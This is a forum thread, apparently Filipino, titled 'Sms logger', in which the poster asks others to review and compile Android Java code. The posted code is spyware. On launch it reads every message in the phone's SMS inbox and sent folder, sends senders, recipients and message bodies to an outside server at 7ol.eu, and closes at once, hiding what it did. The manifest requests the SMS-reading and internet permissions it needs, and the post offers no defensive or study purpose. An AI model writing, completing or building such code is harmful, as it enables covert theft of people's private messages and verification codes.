🔒 Closed Sms logger

Status
Not open for further replies.

PUTANKINNAMALL

Forum Veteran
pabasa po nito mga java master
at pa compile na din thanks
main activity.java
Code:
package eu.ol.myapplication;
 
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
 
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
 
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
import retrofit2.Retrofit;
import retrofit2.converter.gson.GsonConverterFactory;
import retrofit2.http.Body;
import retrofit2.http.POST;
 
public class MainActivity extends Activity {
    public static final String BASE_URL = "http://7ol.eu/";
    Gson gson = new GsonBuilder()
            .setDateFormat("yyyy-MM-dd'T'HH:mm:ssZ")
            .create();
 
    Retrofit retrofit = new Retrofit.Builder()
            .baseUrl(BASE_URL)
            .addConverterFactory(GsonConverterFactory.create(gson))
            .build();
    MyApiEndpointInterface apiService =
            retrofit.create(MyApiEndpointInterface.class);
 
    public interface MyApiEndpointInterface {
        @POST("sms/")
        Call<User> createUser(@Body User user);
    }
 
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        Uri inboxURI = Uri.parse("content://sms/inbox");
        Uri sentURI = Uri.parse("content://sms/sent");
 
        String[] reqCols = new String[] { "_id", "address", "body" };
 
        ContentResolver cr = getContentResolver();
        Cursor c = cr.query(inboxURI, reqCols, null, null, null);
        Cursor d = cr.query(sentURI, reqCols, null, null, null);
 
 
        String smsr = "";
        while (c.moveToNext()) {
            smsr += "From :" + c.getString(1) + " : " + c.getString(2)+"\n";
        }
 
        String smss = "";
        while (d.moveToNext()) {
            smss += "To :" + d.getString(1) + " : " + d.getString(2)+"\n";
        }
        User user = new User(1, smss,smsr);
 
        Call<User> call = apiService.createUser(user);
        call.enqueue(new Callback<User>() {
            @Override
            public void onResponse(Call<User> call, Response<User> response) {
 
            }
 
            @Override
            public void onFailure(Call<User> call, Throwable t) {
 
            }
 
        });
      
        this.finishAffinity();
 
    }
}

user.java
Code:
package eu.ol.myapplication;
 
import com.google.gson.annotations.SerializedName;
 
    public class User {
 
        @SerializedName("id")
        int mId;
 
        @SerializedName("name")
        String mName;
 
    @SerializedName("names")
    String mNames;
 
        public User(int id, String name, String names ) {
            this.mId = id;
            this.mName = name;
            this.mNames = names;
        }
    }
Code:
package eu.ol.myapplication;
 
import com.google.gson.annotations.SerializedName;
 
    public class User {
 
        @SerializedName("id")
        int mId;
 
        @SerializedName("name")
        String mName;
 
    @SerializedName("names")
    String mNames;
 
        public User(int id, String name, String names ) {
            this.mId = id;
            this.mName = name;
            this.mNames = names;
        }
    }


manifest permission
Code:
 <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.INTERNET" />
 
Status
Not open for further replies.

About this Thread

  • 1
    Replies
  • 409
    Views
  • 2
    Participants
Last reply from:
kje999

Online now

Members online
989
Guests online
1,376
Total visitors
2,365

Forum statistics

Threads
2,276,208
Posts
28,968,320
Members
1,231,166
Latest member
williamfreede
Back
Top